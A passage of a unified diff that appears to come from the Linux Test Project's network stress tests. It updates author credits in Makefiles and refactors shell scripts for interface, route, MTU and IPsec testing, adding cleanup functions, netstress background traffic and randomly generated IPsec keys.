 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2009
+# Ngie Cooper, October 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/network/stress/icmp/multi-diffnic/Makefile b/testcases/network/stress/icmp/multi-diffnic/Makefile
index 4746e87..5eb1012 100644
--- a/testcases/network/stress/icmp/multi-diffnic/Makefile
+++ b/testcases/network/stress/icmp/multi-diffnic/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2009
+# Ngie Cooper, October 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/network/stress/interface/Makefile b/testcases/network/stress/interface/Makefile
index f4fda67..86ba1e9 100644
--- a/testcases/network/stress/interface/Makefile
+++ b/testcases/network/stress/interface/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/stress/interface/if-addr-adddel b/testcases/network/stress/interface/if-addr-adddel
index 5a88b2f..dcc018a 100644
--- a/testcases/network/stress/interface/if-addr-adddel
+++ b/testcases/network/stress/interface/if-addr-adddel
@@ -22,8 +22,16 @@
 
 . if-lib.sh
 
-# The interval of the check interface activity (check ten times)
-CHECK_INTERVAL=${CHECK_INTERVAL:-$(($NS_TIMES / 100))}
+TST_CLEANUP="do_cleanup"
+
+# The interval of the check interface activity
+CHECK_INTERVAL=${CHECK_INTERVAL:-$(($NS_TIMES / 20))}
+
+do_cleanup()
+{
+	cleanup
+	restore_ipaddr
+}
 
 test_body()
 {
@@ -35,7 +43,7 @@
 	*) tst_brkm TBROK "Unknown test parameter '$cmd_type'"
 	esac
 
-	local num=$(($(od -A n -d -N 1 /dev/random) * 253 / 255 + 2 ))
+	local num=$(($(od -A n -t u1 -N 1 /dev/random) * 253 / 255 + 2 ))
 	local iface=$(tst_iface)
 	if [ "$TST_IPV6" ]; then
 		local new_ip=${IPV6_NET32_UNUSED}::$num
@@ -47,8 +55,10 @@
 
 	tst_resm TINFO "'$cmd_name' add/del IPv$ipver '$new_ip' $NS_TIMES times"
 
-	tst_restore_ipaddr || \
+	if ! restore_ipaddr; then
 		tst_resm TBROK "Failed to set default IP addresses"
+		return
+	fi
 
 	make_background_tcp_traffic
 
@@ -83,7 +93,7 @@
 		cnt=$(($cnt + 1))
 
 		# Check the background TCP traffic
-		pgrep -x tcp_fastopen > /dev/null || make_background_tcp_traffic
+		pgrep -x netstress > /dev/null || make_background_tcp_traffic
 
 		case $cmd_type in
 		if_cmd)
diff --git a/testcases/network/stress/interface/if-addr-addlarge b/testcases/network/stress/interface/if-addr-addlarge
index f90be73..9e55006 100644
--- a/testcases/network/stress/interface/if-addr-addlarge
+++ b/testcases/network/stress/interface/if-addr-addlarge
@@ -22,8 +22,16 @@
 
 . if-lib.sh
 
-# The interval of the check interface activity (check ten times)
-CHECK_INTERVAL=${CHECK_INTERVAL:-$(($IP_TOTAL / 100))}
+TST_CLEANUP="do_cleanup"
+
+# The interval of the check interface activity
+CHECK_INTERVAL=${CHECK_INTERVAL:-$(($IP_TOTAL / 20))}
+
+do_cleanup()
+{
+	cleanup
+	restore_ipaddr
+}
 
 test_body()
 {
@@ -41,8 +49,10 @@
 	tst_resm TINFO "'$cmd_name' add $IP_TOTAL IPv$ipver addresses"
 	tst_resm TINFO "check interval that $iface is working: $CHECK_INTERVAL"
 
-	tst_restore_ipaddr || \
+	if ! restore_ipaddr; then
 		tst_resm TBROK "Failed to set default IP addresses"
+		return
+	fi
 
 	make_background_tcp_traffic
 
@@ -67,8 +77,6 @@
 			local new_ip=${IPV4_NET16_UNUSED}.$x.$y
 		fi
 
-		tst_resm TINFO "set new ip $new_ip"
-
 		case $cmd_type in
 		if_cmd)
 			if [ "$TST_IPV6" ]; then
@@ -96,7 +104,7 @@
 		check_connectivity $cnt || return
 
 		# Check the background TCP traffic
-		pgrep -x tcp_fastopen > /dev/null || make_background_tcp_traffic
+		pgrep -x netstress > /dev/null || make_background_tcp_traffic
 
 		case $cmd_type in
 		if_cmd)
diff --git a/testcases/network/stress/interface/if-lib.sh b/testcases/network/stress/interface/if-lib.sh
index 6d7bb0d..4168dd0 100644
--- a/testcases/network/stress/interface/if-lib.sh
+++ b/testcases/network/stress/interface/if-lib.sh
@@ -35,29 +35,39 @@
 cleanup()
 {
 	# Stop the background TCP traffic
-	pkill -13 -x tcp_fastopen
-	tst_rhost_run -c "pkill -13 -x tcp_fastopen"
-	tst_restore_ipaddr
+	pkill -13 -x netstress
+	tst_rhost_run -c "pkill -13 -x netstress"
 }
 
 make_background_tcp_traffic()
 {
 	port=$(tst_get_unused_port ipv${ipver} stream)
-	tcp_fastopen -R 3 -g $port > /dev/null 2>&1 &
-	tst_rhost_run -b -c "tcp_fastopen -l -H $(tst_ipaddr) -g $port"
+	netstress -R 3 -g $port > /dev/null 2>&1 &
+	tst_rhost_run -b -c "netstress -l -H $(tst_ipaddr) -g $port"
 }
 
 check_connectivity()
 {
-	local cnt=$1
+	local cnt="$1"
+	local restore="$2"
+
 	[ $CHECK_INTERVAL -eq 0 ] && return
 	[ $(($cnt % $CHECK_INTERVAL)) -ne 0 ] && return
 
 	tst_resm TINFO "check connectivity through $(tst_iface) on step $cnt"
-	check_icmpv${ipver}_connectivity $(tst_iface) $(tst_ipaddr rhost)
+
+	[ -n "$restore" ] && restore_ipaddr
+
+	tst_ping
 	if [ $? -ne 0 ]; then
 		tst_resm TFAIL "$(tst_iface) is broken"
 		return 1
 	fi
 	return 0
 }
+
+restore_ipaddr()
+{
+	tst_restore_ipaddr || return $?
+	tst_wait_ipv6_dad
+}
diff --git a/testcases/network/stress/interface/if-mtu-change b/testcases/network/stress/interface/if-mtu-change
index 06411f5..637fa63 100644
--- a/testcases/network/stress/interface/if-mtu-change
+++ b/testcases/network/stress/interface/if-mtu-change
@@ -1,5 +1,5 @@
 #!/bin/sh
-# Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2015-2017 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2005
 #
 # This program is free software; you can redistribute it and/or
@@ -22,13 +22,28 @@
 
 . if-lib.sh
 
+TST_CLEANUP="do_cleanup"
+
 # The interval of the mtu change [second]
 CHANGE_INTERVAL=${CHANGE_INTERVAL:-5}
-CHECK_INTERVAL=${CHECK_INTERVAL:-$(($MTU_CHANGE_TIMES / 100))}
 # The array of the value which MTU is changed into sequentially
-CHANGE_VALUES="784 1142 426 1500 68 1500 68 748 68 1142 1500"
+# 552 - net.ipv4.route.min_pmtu
+CHANGE_VALUES="784 1142 552 1500 552 1500 552 748 552 1142 1500"
 CHANGE6_VALUES="1280 1445 1335 1390 1500 1280 1500 1280 1335 1500"
 [ "$TST_IPV6" ] && CHANGE_VALUES=$CHANGE6_VALUES
+saved_mtu=
+
+do_cleanup()
+{
+	cleanup
+	if [ "$saved_mtu" ]; then
+		ip li set $(tst_iface) mtu $saved_mtu
+		tst_rhost_run -c "ip li set $(tst_iface rhost) mtu $saved_mtu"
+	fi
+	tst_restore_ipaddr
+	tst_restore_ipaddr rhost
+	tst_wait_ipv6_dad
+}
 
 test_body()
 {
@@ -41,57 +56,54 @@
 	esac
 
 	local iface=$(tst_iface)
+	local iface_rmt=$(tst_iface rhost)
 	[ "$TST_IPV6" ] && local netmask=64 || local netmask=16
 
 	tst_resm TINFO "'$cmd_name changes MTU $MTU_CHANGE_TIMES times " \
 	               "every $CHANGE_INTERVAL seconds"
 
-	tst_restore_ipaddr || \
-		tst_resm TBROK "Failed to set default IP addresses"
-
 	make_background_tcp_traffic
 
 	mtu_array_len=$(echo $CHANGE_VALUES | wc -w)
 	local cnt=0
 	while [ $cnt -lt $MTU_CHANGE_TIMES ]; do
-		sleep $CHANGE_INTERVAL
 		local nth=$(($cnt % $mtu_array_len))
 		field=$(($nth + 1))
 		cnt=$(($cnt + 1))
 		mtu=$(echo $CHANGE_VALUES | cut -d ' ' -f $field)
-		[ $cnt -eq $MTU_CHANGE_TIMES ] && mtu=1500
+		[ $cnt -eq $MTU_CHANGE_TIMES ] && mtu="$saved_mtu"
 
 		tst_resm TINFO "set MTU to $mtu $cnt/$MTU_CHANGE_TIMES"
+		local ret=0
 		case $cmd_type in
-		if_cmd) ifconfig $iface mtu $mtu ;;
-		ip_cmd) ip link set $iface mtu $mtu ;;
+		if_cmd) ifconfig $iface mtu $mtu || ret=1
+			tst_rhost_run -c "ifconfig $iface_rmt mtu $mtu"
+		;;
+		ip_cmd) ip link set $iface mtu $mtu || ret=1
+			tst_rhost_run -c "ip link set $iface_rmt mtu $mtu"
+		;;
 		esac
 
-		if [ $? -ne 0 ]; then
+		if [ $? -ne 0 -o $ret -ne 0 ]; then
 			tst_resm TFAIL "Failed to change the mtu at $cnt time"
 			return
 		fi
 
-		check_connectivity $cnt || return
+		tst_sleep $CHANGE_INTERVAL
+
+		EXPECT_PASS tst_ping $(tst_ipaddr) $(tst_ipaddr rhost) "1 1000 65507"
 
 		# Check the background TCP traffic
-		pgrep -x tcp_fastopen > /dev/null || make_background_tcp_traffic
+		pgrep -x netstress > /dev/null || make_background_tcp_traffic
 	done
-
-	tst_resm TINFO "check connectivity through $iface"
-	check_icmpv${ipver}_connectivity $iface $(tst_ipaddr rhost)
-	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "$iface is broken"
-		return
-	fi
-
-	tst_resm TPASS "Test is finished correctly"
 }
 
 setup
 
 tst_check_cmds ifconfig
 
+saved_mtu="$(cat /sys/class/net/$(tst_iface)/mtu)"
+
 test_body 'if_cmd'
 test_body 'ip_cmd'
 
diff --git a/testcases/network/stress/interface/if-route-adddel b/testcases/network/stress/interface/if-route-adddel
index a9e999f..4516741 100644
--- a/testcases/network/stress/interface/if-route-adddel
+++ b/testcases/network/stress/interface/if-route-adddel
@@ -22,7 +22,15 @@
 
 . if-lib.sh
 
-CHECK_INTERVAL=${CHECK_INTERVAL:-$(($NS_TIMES / 100))}
+TST_CLEANUP="do_cleanup"
+
+CHECK_INTERVAL=${CHECK_INTERVAL:-$(($NS_TIMES / 20))}
+
+do_cleanup()
+{
+	cleanup
+	restore_ipaddr
+}
 
 test_body()
 {
@@ -51,8 +59,10 @@
 
 	tst_resm TINFO "'$cmd_name' add/del ${new_rt}${opt_rt} $NS_TIMES times"
 
-	tst_restore_ipaddr || \
+	if ! restore_ipaddr; then
 		tst_resm TBROK "Failed to set default IP addresses"
+		return
+	fi
 
 	make_background_tcp_traffic
 
@@ -79,7 +89,7 @@
 		check_connectivity $cnt || return
 
 		# Check the background TCP traffic
-		pgrep -x tcp_fastopen > /dev/null || make_background_tcp_traffic
+		pgrep -x netstress > /dev/null || make_background_tcp_traffic
 
 		cnt=$(($cnt + 1))
 	done
diff --git a/testcases/network/stress/interface/if-route-addlarge b/testcases/network/stress/interface/if-route-addlarge
index 8f177f8..e83cf60 100644
--- a/testcases/network/stress/interface/if-route-addlarge
+++ b/testcases/network/stress/interface/if-route-addlarge
@@ -19,11 +19,18 @@
 
 TST_TOTAL=2
 TCID=if-route-addlarge
-TST_CLEANUP="cleanup"
 
 . if-lib.sh
 
-CHECK_INTERVAL=${CHECK_INTERVAL:-$(($ROUTE_TOTAL / 100))}
+TST_CLEANUP="do_cleanup"
+
+CHECK_INTERVAL=${CHECK_INTERVAL:-$(($ROUTE_TOTAL / 20))}
+
+do_cleanup()
+{
+	cleanup
+	restore_ipaddr
+}
 
 test_body()
 {
@@ -49,8 +56,10 @@
 
 	tst_resm TINFO "'$cmd_name' add IPv$ipver $ROUTE_TOTAL routes"
 
-	tst_restore_ipaddr || \
+	if ! restore_ipaddr; then
 		tst_resm TBROK "Failed to set default IP addresses"
+		return
+	fi
 
 	make_background_tcp_traffic
 
@@ -87,7 +96,7 @@
 		check_connectivity $cnt || return
 
 		# Check the background TCP traffic
-		pgrep -x tcp_fastopen > /dev/null || make_background_tcp_traffic
+		pgrep -x netstress > /dev/null || make_background_tcp_traffic
 
 		cnt=$(($cnt + 1))
 		y=$(($y + 1))
diff --git a/testcases/network/stress/interface/if-updown b/testcases/network/stress/interface/if-updown
index b18aa0d..deefef6 100644
--- a/testcases/network/stress/interface/if-updown
+++ b/testcases/network/stress/interface/if-updown
@@ -22,7 +22,7 @@
 
 . if-lib.sh
 
-CHECK_INTERVAL=${CHECK_INTERVAL:-$(($IF_UPDOWN_TIMES / 100))}
+CHECK_INTERVAL=${CHECK_INTERVAL:-$(($IF_UPDOWN_TIMES / 20))}
 
 test_body()
 {
@@ -38,8 +38,6 @@
 
 	tst_resm TINFO "'$cmd_name ups/downs $iface $IF_UPDOWN_TIMES times"
 	tst_resm TINFO "check connectivity interval is $CHECK_INTERVAL"
-	tst_restore_ipaddr || \
-		tst_resm TBROK "Failed to set default IP addresses"
 
 	local cnt=1
 	while [ $cnt -le $IF_UPDOWN_TIMES ]; do
@@ -61,7 +59,7 @@
 			return
 		fi
 
-		check_connectivity $cnt || return
+		check_connectivity $cnt restore_ip || return
 
 		cnt=$(($cnt + 1))
 	done
diff --git a/testcases/network/stress/interface/if4-addr-change b/testcases/network/stress/interface/if4-addr-change
index f569202..54b8fd5 100644
--- a/testcases/network/stress/interface/if4-addr-change
+++ b/testcases/network/stress/interface/if4-addr-change
@@ -1,5 +1,5 @@
 #!/bin/sh
-# Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2015-2016 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2005
 #
 # This program is free software; you can redistribute it and/or
@@ -19,27 +19,27 @@
 
 TST_TOTAL=1
 TCID=if4-addr-change
-TST_CLEANUP="tst_restore_ipaddr"
+TST_CLEANUP="do_cleanup"
 
 . test_net.sh
 
-# Broadcast address of the tested network
-CHECK_INTERVAL=${CHECK_INTERVAL:-$(($NS_TIMES / 100))}
+CHECK_INTERVAL=${CHECK_INTERVAL:-$(($NS_TIMES / 20))}
 # Maximum host portion of the IPv4 address on the local host
 LHOST_IPV4_HOST_MAX="254"
 
+do_cleanup()
+{
+	tst_restore_ipaddr
+	tst_wait_ipv6_dad
+}
+
 trap "tst_brkm TBROK 'test interrupted'" INT
 
 tst_check_cmds ifconfig
 
 tst_resm TINFO "ifconfig changes IPv4 address $NS_TIMES times"
 
-tst_restore_ipaddr
-
-check_icmpv4_connectivity $(tst_iface) $(tst_ipaddr rhost) || \
-	tst_brkm TBROK "Failed to ping to $(tst_ipaddr rhost)"
-
-local cnt=0
+cnt=0
 num=1
 while [ $cnt -lt $NS_TIMES ]; do
 	# Define the network portion
@@ -60,15 +60,10 @@
 	[ $CHECK_INTERVAL -eq 0 ] && continue
 	[ $(($cnt % $CHECK_INTERVAL)) -ne 0 ] && continue
 
-	tst_resm TINFO "ping from $lhost_ipv4addr to $(tst_ipaddr rhost)"
-	check_icmpv4_connectivity $(tst_iface) $(tst_ipaddr rhost) || \
-		tst_brkm TFAIL "$(tst_iface) link broken after ${cnt} times"
+	tst_resm TINFO "ping $(tst_ipaddr):$(tst_ipaddr rhost) ${cnt}/$NS_TIMES"
+	EXPECT_PASS tst_ping
 done
 
-tst_resm TINFO "ping from $lhost_ipv4addr to $(tst_ipaddr rhost)"
-check_icmpv4_connectivity $(tst_iface) $(tst_ipaddr rhost) || \
-	tst_brkm TFAIL "$(tst_iface) is broken"
-
-tst_resm TPASS "Test is finished successfully"
+EXPECT_PASS tst_ping
 
 tst_exit
diff --git a/testcases/network/stress/ipsec/ipsec_lib.sh b/testcases/network/stress/ipsec/ipsec_lib.sh
index b222484..5cb8483 100644
--- a/testcases/network/stress/ipsec/ipsec_lib.sh
+++ b/testcases/network/stress/ipsec/ipsec_lib.sh
@@ -1,5 +1,6 @@
 #!/bin/sh
 # Copyright (c) 2016 Red Hat Inc.,  All Rights Reserved.
+# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
 #
 # This program is free software; you can redistribute it and/or
 # modify it under the terms of the GNU General Public License as
@@ -20,96 +21,240 @@
 
 . test_net.sh
 
+# Authenticated encryption with associated data
+AEALGO="rfc4106_128"
+# Encryption algorithm
+EALGO="des3_ede"
+# Authentication algorithm
+AALGO="sha1"
+# Compression algorithm
+CALGO="deflate"
+
+while getopts "hl:m:p:s:S:k:A:e:a:c:6" opt; do
+	case "$opt" in
+	h)
+		echo "Usage:"
+		echo "h        help"
+		echo "l n      n is the number of test link when tests run"
+		echo "m x      x is ipsec mode, could be transport / tunnel"
+		echo "p x      x is ipsec protocol, could be ah / esp / ipcomp"
+		echo "s x      x is icmp messge size array"
+		echo "S n      n is IPsec SPI value"
+		echo "k x      key for vti interface"
+		echo "A x      Authenticated encryption with associated data algorithm"
+		echo "e x      Encryption algorithm"
+		echo "a x      Authentication algorithm"
+		echo "c x      Compression algorithm"
+		echo "6        run over IPv6"
+		exit 0
+	;;
+	l) LINK_NUM=$OPTARG ;;
+	m) IPSEC_MODE=$OPTARG ;;
+	p) IPSEC_PROTO=$OPTARG ;;
+	s) IPSEC_SIZE_ARRAY="$OPTARG" ;;
+	S) SPI=$OPTARG ;;
+	k) VTI_KEY=$OPTARG ;;
+	A) AEALGO=$OPTARG ;;
+	e) EALGO=$OPTARG ;;
+	a) AALGO=$OPTARG ;;
+	c) CALGO=$OPTARG ;;
+	6) # skip, test_net library already processed it
+	;;
+	*) tst_brkm TBROK "unknown option: $opt" ;;
+	esac
+done
+
+get_key()
+{
+	local bits=$1
+	local xdg_num=$(( $bits / 4 ))
+	echo "0x$(tr -dc "[:xdigit:]" < /dev/urandom | head -c$xdg_num)"
+}
+
+case $AEALGO in
+rfc4106_128|rfc4543_128) AEALGO_KEY=$(get_key 160) ;;
+rfc4106_192|rfc4543_192) AEALGO_KEY=$(get_key 224) ;;
+rfc4106_256|rfc4543_256) AEALGO_KEY=$(get_key 288) ;;
+rfc4309_128) AEALGO_KEY=$(get_key 152) ;;
+rfc4309_192) AEALGO_KEY=$(get_key 216) ;;
+rfc4309_256) AEALGO_KEY=$(get_key 280) ;;
+esac
+
+case $EALGO in
+des) EALGO_KEY=$(get_key 64) ;;
+des3_ede) EALGO_KEY=$(get_key 192) ;;
+cast5) EALGO_KEY=$(get_key 128) ;;
+blowfish) EALGO_KEY=$(get_key 448) ;;
+aes|twofish|camellia|serpent) EALGO_KEY=$(get_key 256) ;;
+*) tst_brkm TBROK "unknown enc alg: $EALGO" ;;
+esac
+
+case $AALGO in
+sha1|rmd160) AALGO_KEY=$(get_key 160) ;;
+sha256) AALGO_KEY=$(get_key 256) ;;
+sha384) AALGO_KEY=$(get_key 384) ;;
+sha512) AALGO_KEY=$(get_key 512) ;;
+*) tst_brkm TBROK "unknown auth alg: $AALGO" ;;
+esac
+
+SPI=${SPI:-1000}
+VTI_KEY=${VTI_KEY:-10}
+cleanup_vti=
+ALG=
+ALGR=
+
 # tst_ipsec_cleanup: flush ipsec state and policy rules
 tst_ipsec_cleanup()
 {
 	ip xfrm state flush
 	ip xfrm policy flush
 	tst_rhost_run -c "ip xfrm state flush && ip xfrm policy flush"
+
+	if [ -n "$cleanup_vti" ]; then
+		ip li del $cleanup_vti 2>/dev/null
+		tst_rhost_run -c "ip li del $cleanup_vti 2>/dev/null"
+	fi
 }
 
-# tst_ipsec target protocol mode spi src_addr dst_addr: config ipsec with
-# supplied protocol and mode.
-#
-# target: target of the configuration host ( lhost / rhost )
-# protocol: ah / esp / ipcomp
-# mode: transport / tunnel
-# spi: the first spi value
-# src_addr: source IP address
-# dst_addr: destination IP address
-tst_ipsec()
+ipsec_set_algoline()
 {
-	if [ $# -ne 6 ]; then
-		tst_brkm TCONF "tst_ipsec parameter mismatch"
-	fi
-	tst_check_cmds hexdump
-
-	local target=$1
-	local protocol=$2
-	local mode=$3
-	local spi=$4
-	local src=$5
-	local dst=$6
-
-	# Encryption algorithm
-	local EALGO="des3_ede"
-	local EALGO_KEY=0x$(printf _I_want_to_have_chicken_ | \
-			    hexdump -ve '/1 "%x"')
-
-	# Authentication algorithm
-	local AALGO="sha1"
-	local AALGO_KEY=0x$(printf beef_fish_pork_salad | \
-			    hexdump -ve '/1 "%x"')
-
-	# Compression algorithm
-	local CALGO="deflate"
-	# Algorithm options for each protocol
-	local algo_line=
-	local proto=
-	case $protocol in
+	case $IPSEC_PROTO in
 	ah)
-		algo_line="auth $AALGO $AALGO_KEY"
-		proto="ah"
+		ALG='auth hmac('$AALGO') '$AALGO_KEY
+		ALGR='auth hmac\('$AALGO'\) '$AALGO_KEY
 		;;
 	esp)
-		algo_line="enc $EALGO $EALGO_KEY auth $AALGO $AALGO_KEY"
-		proto="esp"
+		ALG="enc $EALGO $EALGO_KEY auth "'hmac('$AALGO') '$AALGO_KEY
+		ALGR="enc $EALGO $EALGO_KEY auth "'hmac\('$AALGO'\) '$AALGO_KEY
 		;;
-	ipcomp)
-		algo_line="comp $CALGO"
-		proto="comp"
+	esp_aead)
+		case $AEALGO in
+		rfc4106_128|rfc4106_192|rfc4106_256)
+			ALG="aead "'rfc4106(gcm(aes))'" $AEALGO_KEY 128"
+			ALGR="aead "'rfc4106\(gcm\(aes\)\)'" $AEALGO_KEY 128"
+			;;
+		rfc4309_128|rfc4309_192|rfc4309_256)
+			ALG="aead "'rfc4309(ccm(aes))'" $AEALGO_KEY 128"
+			ALGR="aead "'rfc4309\(ccm\(aes\)\)'" $AEALGO_KEY 128"
+			;;
+		rfc4543_128|rfc4543_192|rfc4543_256)
+			ALG="aead "'rfc4543(gcm(aes))'" $AEALGO_KEY 128"
+			ALGR="aead "'rfc4543\(gcm\(aes\)\)'" $AEALGO_KEY 128"
+			;;
+		esac
+		;;
+	comp)
+		ALG="comp $CALGO"
+		ALGR=$ALG
 		;;
 	*)
 		tst_brkm TCONF "tst_ipsec protocol mismatch"
 		;;
 	esac
+}
+
+# tst_ipsec target src_addr dst_addr: config ipsec
+#
+# target: target of the configuration host ( lhost / rhost )
+# src_addr: source IP address
+# dst_addr: destination IP address
+tst_ipsec()
+{
+	if [ $# -ne 3 ]; then
+		tst_brkm TCONF "tst_ipsec parameter mismatch"
+	fi
+
+	local target=$1
+	local src=$2
+	local dst=$3
+	local mode=$IPSEC_MODE
+	local p="proto $IPSEC_PROTO"
+	[ "$IPSEC_PROTO" = "esp_aead" ] && p="proto esp"
+
+	ipsec_set_algoline
 
 	if [ $target = lhost ]; then
-		local spi_1="0x$spi"
-		local spi_2="0x$(( $spi + 1 ))"
+		local spi_1="0x$SPI"
+		local spi_2="0x$(( $SPI + 1 ))"
 		ROD ip xfrm state add src $src dst $dst spi $spi_1 \
-			proto $proto $algo_line mode $mode sel src $src dst $dst
+			$p $ALG mode $mode sel src $src dst $dst
 		ROD ip xfrm state add src $dst dst $src spi $spi_2 \
-			proto $proto $algo_line mode $mode sel src $dst dst $src
+			$p $ALG mode $mode sel src $dst dst $src
 
 		ROD ip xfrm policy add src $src dst $dst dir out tmpl src $src \
-			dst $dst proto $proto mode $mode
+			dst $dst $p mode $mode
 		ROD ip xfrm policy add src $dst dst $src dir in tmpl src $dst \
-			dst $src proto $proto mode $mode level use
+			dst $src $p mode $mode level use
 	elif [ $target = rhost ]; then
-		local spi_1="0x$(( $spi + 1 ))"
-		local spi_2="0x$spi"
+		local spi_1="0x$(( $SPI + 1 ))"
+		local spi_2="0x$SPI"
 		tst_rhost_run -s -c "ip xfrm state add src $src dst $dst \
-			spi $spi_1 proto $proto $algo_line mode $mode sel \
-			src $src dst $dst"
+			spi $spi_1 $p $ALGR mode $mode sel src $src dst $dst"
 		tst_rhost_run -s -c "ip xfrm state add src $dst dst $src \
-			spi $spi_2 proto $proto $algo_line mode $mode sel \
-			src $dst dst $src"
+			spi $spi_2 $p $ALGR mode $mode sel src $dst dst $src"
 
 		tst_rhost_run -s -c "ip xfrm policy add src $src dst $dst \
-			dir out tmpl src $src dst $dst proto $proto mode $mode"
+			dir out tmpl src $src dst $dst $p mode $mode"
 		tst_rhost_run -s -c "ip xfrm policy add src $dst dst $src dir \
-			in tmpl src $dst dst $src proto $proto \
-			mode $mode level use"
+			in tmpl src $dst dst $src $p mode $mode level use"
+	fi
+}
+
+# tst_ipsec_vti target src_addr dst_addr vti_name
+#
+# target: target of the configuration host ( lhost / rhost )
+# src_addr: source IP address
+# dst_addr: destination IP address
+# vti_name: name of vti interface
+tst_ipsec_vti()
+{
+	if [ $# -ne 4 ]; then
+		tst_brkm TCONF "tst_ipsec_vti parameter mismatch"
+	fi
+
+	local target=$1
+	local src=$2
+	local dst=$3
+	local vti=$4
+	local m="mode $IPSEC_MODE"
+	local p="proto $IPSEC_PROTO"
+	[ "$IPSEC_PROTO" = "esp_aead" ] && p="proto esp"
+
+	local key="key $VTI_KEY"
+	local mrk="mark $VTI_KEY"
+	local type="type vti$TST_IPV6"
+
+	ip li add type vti help 2>&1 | grep -q vti || \
+		tst_brkm TCONF "iproute doesn't support 'vti'"
+
+	ipsec_set_algoline
+
+	local o_dir="src $src dst $dst"
+	local i_dir="src $dst dst $src"
+	local ipx="ip -${TST_IPV6:-4} xf"
+
+	cleanup_vti=$vti
+
+	if [ $target = lhost ]; then
+		ROD ip li add $vti $type local $src remote $dst $key
+		ROD ip li set $vti up
+
+		local spi_1="spi 0x$SPI"
+		local spi_2="spi 0x$(( $SPI + 1 ))"
+		ROD $ipx st add $o_dir $p $spi_1 $ALG $m
+		ROD $ipx st add $i_dir $p $spi_2 $ALG $m
+		ROD $ipx po add dir out tmpl $o_dir $p $m $mrk
+		ROD $ipx po add dir in tmpl $i_dir $p $m $mrk
+	elif [ $target = rhost ]; then
+		tst_rhost_run -s -c \
+			"ip li add $vti $type local $src remote $dst $key"
+		tst_rhost_run -s -c "ip li set $vti up"
+
+		local spi_1="spi 0x$(( $SPI + 1 ))"
+		local spi_2="spi 0x$SPI"
+		tst_rhost_run -s -c "$ipx st add $o_dir $p $spi_1 $ALGR $m"
+		tst_rhost_run -s -c "$ipx st add $i_dir $p $spi_2 $ALGR $m"
+		tst_rhost_run -s -c "$ipx po add dir out tmpl $o_dir $p $m $mrk"
+		tst_rhost_run -s -c "$ipx po add dir in tmpl $i_dir $p $m $mrk"
 	fi
 }
diff --git a/testcases/network/stress/multicast/Makefile b/testcases/network/stress/multicast/Makefile
index 79286a8..474e066 100644
--- a/testcases/network/stress/multicast/Makefile
+++ b/testcases/network/stress/multicast/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2009
+# Ngie Cooper, October 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/stress/multicast/grp-operation/Makefile b/testcases/network/stress/multicast/grp-operation/Makefile
index 37d28f0..a57b72d 100644
--- a/testcases/network/stress/multicast/grp-operation/Makefile
+++ b/testcases/network/stress/multicast/grp-operation/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2009
+# Ngie Cooper, October 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/network/stress/multicast/packet-flood/Makefile b/testcases/network/stress/multicast/packet-flood/Makefile
index 53b5361..8e144ec 100644
--- a/testcases/network/stress/multicast/packet-flood/Makefile
+++ b/testcases/network/stress/multicast/packet-flood/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2009
+# Ngie Cooper, October 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/network/stress/multicast/query-flood/Makefile b/testcases/network/stress/multicast/query-flood/Makefile
index e499955..5146a22 100644
--- a/testcases/network/stress/multicast/query-flood/Makefile
+++ b/testcases/network/stress/multicast/query-flood/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2009
+# Ngie Cooper, October 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/network/stress/ns-tools/Makefile b/testcases/network/stress/ns-tools/Makefile
index 944a5db..df9ba42 100644
--- a/testcases/network/stress/ns-tools/Makefile
+++ b/testcases/network/stress/ns-tools/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/stress/route/Makefile b/testcases/network/stress/route/Makefile
index 0632e8c..2e5eaa2 100644
--- a/testcases/network/stress/route/Makefile
+++ b/testcases/network/stress/route/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2009
+# Ngie Cooper, October 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/stress/ssh/Makefile b/testcases/network/stress/ssh/Makefile
index 05bc06f..633d1c0 100644
--- a/testcases/network/stress/ssh/Makefile
+++ b/testcases/network/stress/ssh/Makefile
@@ -17,7 +17,7 @@
